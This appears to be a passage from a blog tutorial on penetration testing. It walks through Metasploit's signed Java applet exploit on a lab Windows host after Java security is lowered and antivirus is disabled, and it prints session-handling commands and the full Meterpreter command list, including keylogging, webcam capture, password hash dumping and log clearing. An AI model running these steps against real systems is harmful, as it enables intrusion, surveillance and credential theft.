        In less technical terms:In April, Oracle instituted a number of changes starting with Java 7u21. The new update introduced prompts warning users that an unsigned applet could potentially harm the user’s computer. This came months after Oracle changed Java’s default security settings from medium to high, essentially preventing unsigned applets from executing automatically, requiring instead a user to allow the applet to proceed. Developers must now sign their applets with a certificate from a trusted Certificate Authority. (threatpost)

        In English : New versions of Java have an added feature known as Java sandbox. Whenever a java applet is loaded on a browser, it will firstly require user's permission to execute. After the user has given permission, the applet will load inside a sandbox (which is a runtime environment seperated from rest of the computer, like a cage, and the java applet is harmless as long as it is inside). That doesn't solve their problem though, as sandbox stops the Java applet to do much, thereby destroying the whole purpose, even for the genuine developers. So, Java restricts the unsigned applets from exercising much of their functionality, and only the signed applets can do anything. So, hats off to Oracle, for proving that even client side vulnerabilities are not that easy. And sorry to disappoint you guys, but I had to tell you how secure the modern operating systems are. Nevertheless, going to Java control panel, and security tab, will lead you to the conclusion that the Java security level is high by default. And even more mind boggling is the fact that the security levels are - medium, high, very high. Guess the days of 'low' security are gone. However, medium is just what we are looking for.
        Sandbox is enabled in high level. 
        Sandbox is disabled in medium level. That will solve our purpose here.
        Now we opened our java applet again and this time a really dangerous looking security warning dialog came up. Nevertheless, we clicked on "I accept" and then run.
        As if this wasn't enough. Windows had to interfere. I could almost hear Windows Defender saying, Java is good, but Microsoft still trusts it's own antivirus for security. Our exploit failed yet again. This time it was the antivirus.
        You might have guessed, disable the antivirus.

        Now, finally, I refreshed the URL, accepted the warning and allowed the applet to run. I got a new session on Metasploit. The sweet smell of success was highly diluted by the fact that we really rigged the game in our favour. In a real life scenario, you can't expect the AV to be disabled and the security settings set to anything other than the default value.

        Use the following commands to switch to the created sessions
        msf  exploit(java_signed_applet) > sessions

        Active sessions
        ===============

          Id  Type                   Information     Connection
          --  ----                   -----------     ----------
          1   meterpreter x86/win32  Home\Me @ HOME  192.168.154.134:4444 -> 192.168.154.1:49682 (192.168.154.1)

        msf  exploit(java_signed_applet) > sessions -h
        Usage: sessions [options]

        Active session manipulation and interaction.

        OPTIONS:

            -K        Terminate all sessions
            -c  Run a command on the session given with -i, or all
            -d  Detach an interactive session
            -h        Help banner
            -i  Interact with the supplied session ID
            -k  Terminate session
            -l        List all active sessions
            -q        Quiet mode
            -r        Reset the ring buffer for the session given with -i, or all
            -s  Run a script on the session given with -i, or all
            -u  Upgrade a win32 shell to a meterpreter session
            -v        List verbose fields

        msf  exploit(java_signed_applet) > sessions -i 1
        [*] Starting interaction with 1...

        meterpreter > 

        From here, all the meterpreter functionality is available. Here is a list which can be obtained by typing help on meterpretor.
        meterpreter > help

        Core Commands
        =============
            Command                   Description
            -------                   -----------
            ?                         Help menu
            background                Backgrounds the current session
            bgkill                    Kills a background meterpreter script
            bglist                    Lists running background scripts
            bgrun                     Executes a meterpreter script as a background thread
            channel                   Displays information about active channels
            close                     Closes a channel
            disable_unicode_encoding  Disables encoding of unicode strings
            enable_unicode_encoding   Enables encoding of unicode strings
            exit                      Terminate the meterpreter session
            help                      Help menu
            info                      Displays information about a Post module
            interact                  Interacts with a channel
            irb                       Drop into irb scripting mode
            load                      Load one or more meterpreter extensions
            migrate                   Migrate the server to another process
            quit                      Terminate the meterpreter session
            read                      Reads data from a channel
            resource                  Run the commands stored in a file
            run                       Executes a meterpreter script or Post module
            use                       Deprecated alias for 'load'
            write                     Writes data to a channel

        Stdapi: File system Commands
        ============================
            Command       Description
            -------       -----------
            cat           Read the contents of a file to the screen
            cd            Change directory
            download      Download a file or directory
            edit          Edit a file
            getlwd        Print local working directory
            getwd         Print working directory
            lcd           Change local working directory
            lpwd          Print local working directory
            ls            List files
            mkdir         Make directory
            pwd           Print working directory
            rm            Delete the specified file
            rmdir         Remove directory
            search        Search for files
            upload        Upload a file or directory

        Stdapi: Networking Commands
        ===========================
            Command       Description
            -------       -----------
            arp           Display the host ARP cache
            ifconfig      Display interfaces
            ipconfig      Display interfaces
            netstat       Display the network connections
            portfwd       Forward a local port to a remote service
            route         View and modify the routing table

        Stdapi: System Commands
        =======================
            Command       Description
            -------       -----------
            clearev       Clear the event log
            drop_token    Relinquishes any active impersonation token.
            execute       Execute a command
            getpid        Get the current process identifier
            getprivs      Attempt to enable all privileges available to the current process
            getuid        Get the user that the server is running as
            kill          Terminate a process
            ps            List running processes
            reboot        Reboots the remote computer
            reg           Modify and interact with the remote registry
            rev2self      Calls RevertToSelf() on the remote machine
            shell         Drop into a system command shell
            shutdown      Shuts down the remote computer
            steal_token   Attempts to steal an impersonation token from the target process
            suspend       Suspends or resumes a list of processes
            sysinfo       Gets information about the remote system, such as OS

        Stdapi: User interface Commands
        ===============================
            Command        Description
            -------        -----------
            enumdesktops   List all accessible desktops and window stations
            getdesktop     Get the current meterpreter desktop
            idletime       Returns the number of seconds the remote user has been idle
            keyscan_dump   Dump the keystroke buffer
            keyscan_start  Start capturing keystrokes
            keyscan_stop   Stop capturing keystrokes
            screenshot     Grab a screenshot of the interactive desktop
            setdesktop     Change the meterpreters current desktop
            uictl          Control some of the user interface components

        Stdapi: Webcam Commands
        =======================
            Command       Description
            -------       -----------
            record_mic    Record audio from the default microphone for X seconds
            webcam_list   List webcams
            webcam_snap   Take a snapshot from the specified webcam

        Priv: Elevate Commands
        ======================
            Command       Description
            -------       -----------
            getsystem     Attempt to elevate your privilege to that of local system.

        Priv: Password database Commands
        ================================
            Command       Description
            -------       -----------
            hashdump      Dumps the contents of the SAM database

        Priv: Timestomp Commands
        ========================
            Command       Description
            -------       -----------
            timestomp     Manipulate file MACE attributes

        Conclusion

        If you've followed along so far, you might be feeling disappointed. While the feeling is natural, it is quite unnecessary. A better way to look at it is the first step in real world pentesting. All this while we were dealing with non-existent scenarios. Old unpatched grandma's Windows XP machines. These don't exist in the real world. In reality we have to deal with strong defenses, limited rights, antiviruses, firewalls, etc. Soon you'll be writing your own exploits (okay not that soon), and evading firewalls and antiviruses (what we did here is not called evasion, you can't simply turn off antivirus protection like that as you don't have access to the computer). In the next few tutorials we'll see how to get around all the things we did and shouldn't have done (disabling AV and reducing Java protection level). There are things that can't be avoided (the target has to go to a URL containing the applet and allow it to run), but we will try to make things as real world as possible. We will also move to some non-traditional exploits, as their AV detection rate is much less. We will look into encryption and anti-virus evasion in detail. Lot of things need to be done. Just remember, you are in hand to hand combat with one of the most secure systems you'll come across, and it's not gonna be easy.

        ~ jeudi 29 mai 2014 0 commentaires